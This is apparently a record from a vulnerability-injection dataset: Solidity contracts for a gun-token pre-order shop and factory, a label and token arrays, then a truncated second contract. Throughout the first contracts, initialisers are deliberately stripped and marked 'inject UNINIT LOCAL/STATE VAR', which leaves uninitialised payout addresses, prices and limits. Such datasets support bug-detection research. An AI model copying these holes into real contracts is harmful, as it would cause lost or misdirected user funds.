let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, _length)
//update free-memory pointer
//allocating the array padded to 32 bytes like the compiler does now
mstore(0x40, and(add(mc, 31), not(31)))
}
//if we want a zero-length slice let's just return a zero-length array
default {
tempBytes := mload(0x40)
mstore(0x40, add(tempBytes, 0x20))
}
}
return tempBytes;
}
function toAddress(bytes memory _bytes, uint _start) internal pure returns (address) {
require(_bytes.length >= (_start + 20));
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function toUint8(bytes memory _bytes, uint _start) internal pure returns (uint8) {
require(_bytes.length >= (_start + 1));
uint8 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x1), _start))
}
return tempUint;
}
function toUint16(bytes memory _bytes, uint _start) internal pure returns (uint16) {
require(_bytes.length >= (_start + 2));
uint16 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x2), _start))
}
return tempUint;
}
function toUint32(bytes memory _bytes, uint _start) internal pure returns (uint32) {
require(_bytes.length >= (_start + 4));
uint32 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x4), _start))
}
return tempUint;
}
function toUint64(bytes memory _bytes, uint _start) internal pure returns (uint64) {
require(_bytes.length >= (_start + 8));
uint64 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x8), _start))
}
return tempUint;
}
function toUint96(bytes memory _bytes, uint _start) internal pure returns (uint96) {
require(_bytes.length >= (_start + 12));
uint96 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0xc), _start))
}
return tempUint;
}
function toUint128(bytes memory _bytes, uint _start) internal pure returns (uint128) {
require(_bytes.length >= (_start + 16));
uint128 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x10), _start))
}
return tempUint;
}
function toUint(bytes memory _bytes, uint _start) internal pure returns (uint256) {
require(_bytes.length >= (_start + 32));
uint256 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x20), _start))
}
return tempUint;
}
function toBytes32(bytes memory _bytes, uint _start) internal pure returns (bytes32) {
require(_bytes.length >= (_start + 32));
bytes32 tempBytes32;
assembly {
tempBytes32 := mload(add(add(_bytes, 0x20), _start))
}
return tempBytes32;
}
function equal(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bool) {
bool success ; //inject UNINIT LOCAL/STATE VAR
assembly {
let length := mload(_preBytes)
// if lengths don't match the arrays are not equal
switch eq(length, mload(_postBytes))
case 1 {
// cb is a circuit breaker in the for loop since there's
// no said feature for inline assembly loops
// cb = 1 - don't breaker
// cb = 0 - break
let cb := 1
let mc := add(_preBytes, 0x20)
let end := add(mc, length)
for {
let cc := add(_postBytes, 0x20)
// the next line is the loop condition:
// while(uint(mc < end) + cb == 2)
} eq(add(lt(mc, end), cb), 2) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
// if any of these checks fails then arrays are not equal
if iszero(eq(mload(mc), mload(cc))) {
// unsuccess:
success := 0
cb := 0
}
}
}
default {
// unsuccess:
success := 0
}
}
return success;
}
function equalStorage(
bytes storage _preBytes,
bytes memory _postBytes
)
internal
view
returns (bool)
{
bool success ; //inject UNINIT LOCAL/STATE VAR
assembly {
// we know _preBytes_offset is 0
let fslot := sload(_preBytes_slot)
// Decode the length of the stored array like in concatStorage().
let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2)
let mlength := mload(_postBytes)
// if lengths don't match the arrays are not equal
switch eq(slength, mlength)
case 1 {
// slength can contain both the length and contents of the array
// if length < 32 bytes so let's prepare for that
// v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage
if iszero(iszero(slength)) {
switch lt(slength, 32)
case 1 {
// blank the last byte which is the length
fslot := mul(div(fslot, 0x100), 0x100)
if iszero(eq(fslot, mload(add(_postBytes, 0x20)))) {
// unsuccess:
success := 0
}
}
default {
// cb is a circuit breaker in the for loop since there's
// no said feature for inline assembly loops
// cb = 1 - don't breaker
// cb = 0 - break
let cb := 1
// get the keccak hash to get the contents of the array
mstore(0x0, _preBytes_slot)
let sc := keccak256(0x0, 0x20)
let mc := add(_postBytes, 0x20)
let end := add(mc, mlength)
// the next line is the loop condition:
// while(uint(mc < end) + cb == 2)
for {} eq(add(lt(mc, end), cb), 2) {
sc := add(sc, 1)
mc := add(mc, 0x20)
} {
if iszero(eq(sload(sc), mload(mc))) {
// unsuccess:
success := 0
cb := 0
}
}
}
}
}
default {
// unsuccess:
success := 0
}
}
return success;
}
}
contract GunPreOrder is Ownable, ApproveAndCallFallBack {
using BytesLib for bytes;
using SafeMath for uint256;
//Event for when a bulk buy order has been placed
event consumerBulkBuy(uint8 category, uint256 quanity, address reserver);
//Event for when a gun has been bought
event GunsBought(uint256 gunId, address owner, uint8 category);
//Event for when ether is taken out of this contract
event Withdrawal(uint256 amount);
//Default referal commision percent
uint256 public constant COMMISSION_PERCENT = 5;
//Whether category is open
mapping(uint8 => bool) public categoryExists;
mapping(uint8 => bool) public categoryOpen;
mapping(uint8 => bool) public categoryKilled;
//The additional referal commision percent for any given referal address (default is 0)
mapping(address => uint256) internal commissionRate;
//How many guns in a given category an address has reserved
mapping(uint8 => mapping(address => uint256)) public categoryReserveAmount;
//Opensea buy address
address internal constant OPENSEA = 0x5b3256965e7C3cF26E11FCAf296DfC8807C01073;
//The percent increase and percent base for a given category
mapping(uint8 => uint256) public categoryPercentIncrease;
mapping(uint8 => uint256) public categoryPercentBase;
//Price of a givevn category in USD WEI
mapping(uint8 => uint256) public categoryPrice;
//The percent of ether required for buying in BZN
mapping(uint8 => uint256) public requiredEtherPercent;
mapping(uint8 => uint256) public requiredEtherPercentBase;
bool public allowCreateCategory ; //inject UNINIT LOCAL/STATE VAR
//The gun token contract
GunToken public token;
//The gun factory contract
GunFactory internal factory;
//The BZN contract
StandardBurnableToken internal bzn;
//The Maker ETH/USD price feed
IDSValue public ethFeed;
BZNFeed public bznFeed;
//The gamepool address
address internal gamePool;
//Require the skinned/regular shop to be opened
modifier ensureShopOpen(uint8 category) {
require(categoryExists[category], "Category doesn't exist!");
require(categoryOpen[category], "Category is not open!");
_;
}
//Allow a function to accept ETH payment
modifier payInETH(address referal, uint8 category, address new_owner, uint16 quanity) {
uint256 usdPrice;
uint256 totalPrice;
(usdPrice, totalPrice) = priceFor(category, quanity);
require(usdPrice > 0, "Price not yet set");
categoryPrice[category] = usdPrice; //Save last price
uint256 price ; //inject UNINIT LOCAL/STATE VAR
require(msg.value >= price, "Not enough Ether sent!");
_;
if (msg.value > price) {
uint256 change ; //inject UNINIT LOCAL/STATE VAR
msg.sender.transfer(change);
}
if (referal != address(0)) {
require(referal != msg.sender, "The referal cannot be the sender");
require(referal != tx.origin, "The referal cannot be the tranaction origin");
require(referal != new_owner, "The referal cannot be the new owner");
//The commissionRate map adds any partner bonuses, or 0 if a normal user referral
uint256 totalCommision ; //inject UNINIT LOCAL/STATE VAR
uint256 commision ; //inject UNINIT LOCAL/STATE VAR
address payable _referal ; //inject UNINIT LOCAL/STATE VAR
_referal.transfer(commision);
}
}
//Allow function to accept BZN payment
modifier payInBZN(address referal, uint8 category, address payable new_owner, uint16 quanity) {
uint256[] memory prices = new uint256[](4); //Hack to work around local var limit (usdPrice, bznPrice, commision, totalPrice)
(prices[0], prices[3]) = priceFor(category, quanity);
require(prices[0] > 0, "Price not yet set");
categoryPrice[category] = prices[0];
prices[1] = convert(prices[3], true); //Convert the totalPrice to BZN
//The commissionRate map adds any partner bonuses, or 0 if a normal user referral
if (referal != address(0)) {
prices[2] = (prices[1] * (COMMISSION_PERCENT + commissionRate[referal])) / 100;
}
uint256 requiredEther ; //inject UNINIT LOCAL/STATE VAR
require(msg.value >= requiredEther, "Buying with BZN requires some Ether!");
bzn.burnFrom(new_owner, (((prices[1] - prices[2]) * 30) / 100));
bzn.transferFrom(new_owner, gamePool, prices[1] - prices[2] - (((prices[1] - prices[2]) * 30) / 100));
_;
if (msg.value > requiredEther) {
new_owner.transfer(msg.value - requiredEther);
}
if (referal != address(0)) {
require(referal != msg.sender, "The referal cannot be the sender");
require(referal != tx.origin, "The referal cannot be the tranaction origin");
require(referal != new_owner, "The referal cannot be the new owner");
bzn.transferFrom(new_owner, referal, prices[2]);
prices[2] = (requiredEther * (COMMISSION_PERCENT + commissionRate[referal])) / 100;
address payable _referal ; //inject UNINIT LOCAL/STATE VAR
_referal.transfer(prices[2]);
}
}
//Constructor
constructor(
address tokenAddress,
address tokenFactory,
address gp,
address isd,
address bzn_address
) public {
token = GunToken(tokenAddress);
factory = GunFactory(tokenFactory);
ethFeed = IDSValue(isd);
bzn = StandardBurnableToken(bzn_address);
gamePool = gp;
//Set percent increases
categoryPercentIncrease[1] = 100035;
categoryPercentBase[1] = 100000;
categoryPercentIncrease[2] = 100025;
categoryPercentBase[2] = 100000;
categoryPercentIncrease[3] = 100015;
categoryPercentBase[3] = 100000;
commissionRate[OPENSEA] = 10;
}
function createCategory(uint8 category) public onlyOwner {
require(allowCreateCategory);
categoryExists[category] = true;
}
function disableCreateCategories() public onlyOwner {
allowCreateCategory = false;
}
//Set the referal commision rate for an address
function setCommission(address referral, uint256 percent) public onlyOwner {
require(percent > COMMISSION_PERCENT);
require(percent < 95);
percent = percent - COMMISSION_PERCENT;
commissionRate[referral] = percent;
}
//Set the price increase/base for skinned or regular guns
function setPercentIncrease(uint256 increase, uint256 base, uint8 category) public onlyOwner {
require(increase > base);
categoryPercentIncrease[category] = increase;
categoryPercentBase[category] = base;
}
function setEtherPercent(uint256 percent, uint256 base, uint8 category) public onlyOwner {
requiredEtherPercent[category] = percent;
requiredEtherPercentBase[category] = base;
}
function killCategory(uint8 category) public onlyOwner {
require(!categoryKilled[category]);
categoryOpen[category] = false;
categoryKilled[category] = true;
}
//Open/Close the skinned or regular guns shop
function setShopState(uint8 category, bool open) public onlyOwner {
require(category == 1 || category == 2 || category == 3);
require(!categoryKilled[category]);
require(categoryExists[category]);
categoryOpen[category] = open;
}
/**
* Set the price for any given category in USD.
*/
function setPrice(uint8 category, uint256 price, bool inWei) public onlyOwner {
uint256 multiply ; //inject UNINIT LOCAL/STATE VAR
if (inWei) {
multiply = 1;
}
categoryPrice[category] = price * multiply;
}
/**
Withdraw the amount from the contract's balance. Only the contract owner can execute this function
*/
function withdraw(uint256 amount) public onlyOwner {
uint256 balance ; //inject UNINIT LOCAL/STATE VAR
require(amount <= balance, "Requested to much");
address payable _owner ; //inject UNINIT LOCAL/STATE VAR
_owner.transfer(amount);
emit Withdrawal(amount);
}
function setBZNFeedContract(address new_bzn_feed) public onlyOwner {
bznFeed = BZNFeed(new_bzn_feed);
}
//Buy many skinned or regular guns with BZN. This will reserve the amount of guns and allows the new_owner to invoke claimGuns for free
function buyWithBZN(address referal, uint8 category, address payable new_owner, uint16 quanity) ensureShopOpen(category) payInBZN(referal, category, new_owner, quanity) public payable returns (bool) {
factory.mintFor(new_owner, quanity, category);
return true;
}
//Buy many skinned or regular guns with ETH. This will reserve the amount of guns and allows the new_owner to invoke claimGuns for free
function buyWithEther(address referal, uint8 category, address new_owner, uint16 quanity) ensureShopOpen(category) payInETH(referal, category, new_owner, quanity) public payable returns (bool) {
factory.mintFor(new_owner, quanity, category);
return true;
}
function convert(uint256 usdValue, bool isBZN) public view returns (uint256) {
if (isBZN) {
return bznFeed.convert(usdValue);
} else {
bool temp;
bytes32 aaa;
(aaa, temp) = ethFeed.peek();
uint256 priceForEtherInUsdWei ; //inject UNINIT LOCAL/STATE VAR
return usdValue / (priceForEtherInUsdWei / 1e18);
}
}
/**
Get the price for skinned or regular guns in USD (wei)
*/
function priceFor(uint8 category, uint16 quanity) public view returns (uint256, uint256) {
require(quanity > 0);
uint256 percent ; //inject UNINIT LOCAL/STATE VAR
uint256 base ; //inject UNINIT LOCAL/STATE VAR
uint256 currentPrice ; //inject UNINIT LOCAL/STATE VAR
uint256 nextPrice ; //inject UNINIT LOCAL/STATE VAR
uint256 totalPrice ; //inject UNINIT LOCAL/STATE VAR
//We can't use exponents because we'll overflow quickly
//Only for loop :(
for (uint i ; i < quanity; i++) { //inject UNINIT LOCAL/STATE VAR
nextPrice = (currentPrice * percent) / base;
currentPrice = nextPrice;
totalPrice += nextPrice;
}
//Return the next price, as this is the true price
return (nextPrice, totalPrice);
}
//Determine if a tokenId exists (has been sold)
function sold(uint256 _tokenId) public view returns (bool) {
return token.exists(_tokenId);
}
function receiveApproval(address from, uint256 tokenAmount, address tokenContract, bytes memory data) public payable returns (bool) {
address referal;
uint8 category;
uint16 quanity;
(referal, category, quanity) = abi.decode(data, (address, uint8, uint16));
require(quanity >= 1);
address payable _from ; //inject UNINIT LOCAL/STATE VAR
buyWithBZN(referal, category, _from, quanity);
return true;
}
}
contract GunFactory is Ownable {
using strings for *;
uint8 public constant PREMIUM_CATEGORY = 1;
uint8 public constant MIDGRADE_CATEGORY = 2;
uint8 public constant REGULAR_CATEGORY = 3;
uint256 public constant ONE_MONTH = 2628000;
uint256 public mintedGuns ; //inject UNINIT LOCAL/STATE VAR
address preOrderAddress;
GunToken token;
mapping(uint8 => uint256) internal gunsMintedByCategory;
mapping(uint8 => uint256) internal totalGunsMintedByCategory;
mapping(uint8 => uint256) internal firstMonthLimit;
mapping(uint8 => uint256) internal secondMonthLimit;
mapping(uint8 => uint256) internal thirdMonthLimit;
uint256 internal startTime;
mapping(uint8 => uint256) internal currentMonthEnd;
uint256 internal monthOneEnd;
uint256 internal monthTwoEnd;
modifier onlyPreOrder {
require(msg.sender == preOrderAddress, "Not authorized");
_;
}
modifier isInitialized {
require(preOrderAddress != address(0), "No linked preorder");
require(address(token) != address(0), "No linked token");
_;
}
constructor() public {
firstMonthLimit[PREMIUM_CATEGORY] = 5000;
firstMonthLimit[MIDGRADE_CATEGORY] = 20000;
firstMonthLimit[REGULAR_CATEGORY] = 30000;
secondMonthLimit[PREMIUM_CATEGORY] = 2500;
secondMonthLimit[MIDGRADE_CATEGORY] = 10000;
secondMonthLimit[REGULAR_CATEGORY] = 15000;
thirdMonthLimit[PREMIUM_CATEGORY] = 600;
thirdMonthLimit[MIDGRADE_CATEGORY] = 3000;
thirdMonthLimit[REGULAR_CATEGORY] = 6000;
startTime = block.timestamp;
monthOneEnd = startTime + ONE_MONTH;
monthTwoEnd = startTime + ONE_MONTH + ONE_MONTH;
currentMonthEnd[PREMIUM_CATEGORY] = monthOneEnd;
currentMonthEnd[MIDGRADE_CATEGORY] = monthOneEnd;
currentMonthEnd[REGULAR_CATEGORY] = monthOneEnd;
}
function uintToString(uint v) internal pure returns (string memory) {
if (v == 0) {
return "0";
}
uint j ; //inject UNINIT LOCAL/STATE VAR
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k ; //inject UNINIT LOCAL/STATE VAR
while (v != 0) {
bstr[k--] = byte(uint8(48 + v % 10));
v /= 10;
}
return string(bstr);
}
function mintFor(address newOwner, uint16 size, uint8 category) public onlyPreOrder isInitialized returns (uint256) {
GunPreOrder preOrder ; //inject UNINIT LOCAL/STATE VAR
require(preOrder.categoryExists(category), "Invalid category");
require(!hasReachedLimit(category), "The monthly limit has been reached");
token.claimAllocation(newOwner, size, category);
mintedGuns++;
gunsMintedByCategory[category] = gunsMintedByCategory[category] + 1;
totalGunsMintedByCategory[category] = totalGunsMintedByCategory[category] + 1;
}
function hasReachedLimit(uint8 category) internal returns (bool) {
uint256 currentTime ; //inject UNINIT LOCAL/STATE VAR
uint256 limit ; //inject UNINIT LOCAL/STATE VAR
uint256 monthEnd ; //inject UNINIT LOCAL/STATE VAR
//If the current block time is greater than or equal to the end of the month
if (currentTime >= monthEnd) {
//It's a new month, reset all limits
//gunsMintedByCategory[PREMIUM_CATEGORY] = 0;
//gunsMintedByCategory[MIDGRADE_CATEGORY] = 0;
//gunsMintedByCategory[REGULAR_CATEGORY] = 0;
gunsMintedByCategory[category] = 0;
//Set next month end to be equal one month in advance
//do this while the current time is greater than the next month end
while (currentTime >= monthEnd) {
monthEnd = monthEnd + ONE_MONTH;
}
//Finally, update the limit
limit = currentLimit(category);
currentMonthEnd[category] = monthEnd;
}
//Check if the limit has been reached
return gunsMintedByCategory[category] >= limit;
}
function reachedLimit(uint8 category) public view returns (bool) {
uint256 limit ; //inject UNINIT LOCAL/STATE VAR
return gunsMintedByCategory[category] >= limit;
}
function currentLimit(uint8 category) public view returns (uint256) {
uint256 currentTime ; //inject UNINIT LOCAL/STATE VAR
uint256 limit;
if (currentTime < monthOneEnd) {
limit = firstMonthLimit[category];
} else if (currentTime < monthTwoEnd) {
limit = secondMonthLimit[category];
} else {
limit = thirdMonthLimit[category];
}
return limit;
}
function setCategoryLimit(uint8 category, uint256 firstLimit, uint256 secondLimit, uint256 thirdLimit) public onlyOwner {
require(firstMonthLimit[category] == 0);
require(secondMonthLimit[category] == 0);
require(thirdMonthLimit[category] == 0);
firstMonthLimit[category] = firstLimit;
secondMonthLimit[category] = secondLimit;
thirdMonthLimit[category] = thirdLimit;
}
/**
Attach the preOrder that will be receiving tokens being marked for sale by the
sellCar function
*/
function attachPreOrder(address dst) public onlyOwner {
require(preOrderAddress == address(0));
require(dst != address(0));
//Enforce that address is indeed a preorder
GunPreOrder preOrder ; //inject UNINIT LOCAL/STATE VAR
preOrderAddress = address(preOrder);
}
/**
Attach the token being used for things
*/
function attachToken(address dst) public onlyOwner {
require(address(token) == address(0));
require(dst != address(0));
//Enforce that address is indeed a preorder
GunToken ct ; //inject UNINIT LOCAL/STATE VAR
token = ct;
}
} | inject UNINIT LOCAL/STATE VAR
| uint256 nextPrice ; | 13,059,482 | [
1,
22170,
5019,
12919,
15234,
19,
7998,
8350,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
2254,
5034,
1024,
5147,
274,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at BscScan.com on 2021-04-11
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [// importANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* // importANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
